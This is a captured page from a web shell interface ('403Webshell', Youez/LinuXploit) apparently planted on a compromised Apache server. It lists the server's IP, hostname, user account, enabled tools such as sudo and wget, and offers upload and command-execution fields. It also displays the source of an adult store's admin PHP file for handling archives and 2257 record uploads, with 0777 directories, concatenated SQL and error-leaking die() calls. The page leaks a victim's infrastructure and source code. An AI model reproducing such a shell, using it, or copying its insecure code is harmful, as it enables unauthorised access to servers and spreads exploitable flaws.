403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/functions_admin_system.php
<?php

	function createArchive($directory, $filename) {

		$rootDirectory = '../../../content/models/';

		$zipfilename = $rootDirectory . $directory . '/archive/' . $filename . '.zip';

		if (!is_dir($rootDirectory . $directory . '/archive')) {
			mkdir($rootDirectory . $directory . '/archive', 0777, TRUE);
		}

		if (!is_file($zipfilename)) {

			$zip = new ZipArchive();

			if ($zip->open($zipfilename, ZIPARCHIVE::CREATE) !== TRUE) {
				return msgSystem("An archive was not able to be created.", "error");
			}

			$allFiles = array_map('basename', glob($rootDirectory . $directory . '/*'));
			$images = preg_grep('/\.(jpg|jpeg|png|gif)$/i', $allFiles);

			if (count($images) > 0) {

				foreach ($images as $image) {

					$explodedImage = explode("/", $image);
					$imageFilename = end($explodedImage);

					$zip->addFile($rootDirectory . $directory . '/' . $image, $imageFilename);

				}

				if (is_file($zipfilename)) {
					return msgSystem("Archive was created.", "success");
				}

			}

			$zip->close();

		} else {
			return msgSystem("Archive exists.", "success");
		}
	}

	function upload2257($fileIncrement) {

		$fileUploadsuccess = FALSE;

		if (isset($fileIncrement) && is_numeric($fileIncrement)) {

			$filesName = '2257_' . $fileIncrement;
			$postName = 'filename2257_' . $fileIncrement;

			if (isset($_FILES[$filesName]) && isset($_POST[$postName]) && $_POST[$postName] != "") {

				$filenameSplit = explode("-", $_POST[$postName]);

				if (isset($filenameSplit[0]) && is_numeric($filenameSplit[0]) && isset($filenameSplit[1]) && isset($filenameSplit[2])) {

					$model_name_sql = mysql_query("SELECT * FROM `cms_models` WHERE `model_id` = '" . $filenameSplit[0] . "'") or die(mysql_error());

					if (mysql_num_rows($model_name_sql) == 1) {

						$model_name = mysql_fetch_object($model_name_sql);

						if (isset($model_name->name)) {

							$model_name->name = str_replace(" ", "-", $model_name->name);
							$filename = strtolower($model_name->name) . '-' . $filenameSplit[1] . '-' . $filenameSplit[2];

							$foo = new upload($_FILES[$filesName]['tmp_name']);

							if ($foo->uploaded)  {

								$foo->file_new_name_body = $filename;
								$foo->file_auto_rename = FALSE;
								$foo->file_overwrite = TRUE;

								$foo->Process('../../../content/2257/');

								if ($foo->processed) {
									$fileUploadsuccess = TRUE;
								}
							}
						}
					}
				}
			}
		}

		if (!$fileUploadsuccess) {
			return msgSystem("Error uploading 2257 file.", "error");
		}

	}

/* Save for later build
	function unpackArchive($directory, $filename) {

		$zip = new ZipArchive();

		if ($zip->open('test.zip') === TRUE) {

			$zip->extractTo('/my/destination/dir/');
			$zip->close();
			echo 'ok';
		} else {
			echo 'failed';
		}

	}
*/

Youez - 2016 - github.com/yon3zu
LinuXploit